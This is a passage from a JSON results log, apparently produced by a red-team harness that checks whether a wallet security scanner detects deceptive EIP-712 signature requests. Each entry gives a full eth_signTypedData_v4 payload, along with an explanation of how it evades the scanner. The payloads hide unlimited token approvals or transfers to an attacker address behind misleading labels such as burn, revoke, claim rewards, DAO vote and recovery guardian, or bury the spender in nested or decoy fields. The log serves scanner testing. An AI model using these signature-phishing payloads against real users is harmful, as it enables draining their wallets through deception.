"0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:55:00.989Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:55:10.177Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:55:19.367Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:55:28.551Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN19-EIP3009-022", "timestamp": "2026-01-31T16:55:37.708Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x2c286089370543a24b3845968bb1c51124dd5d0cda6c966e2ab74618afa4f6fe\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN19-EIP3009-054", "timestamp": "2026-01-31T16:55:44.238Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1d62a7f1158a80d33ac366b430e37dbad65628875039362571d04d22c1b3c369\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:55:53.869Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:56:03.028Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:56:12.194Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:56:21.360Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:56:30.546Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:56:39.698Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:56:48.874Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:56:58.060Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:57:07.436Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:57:16.600Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:57:25.769Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:57:34.951Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:57:44.144Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi 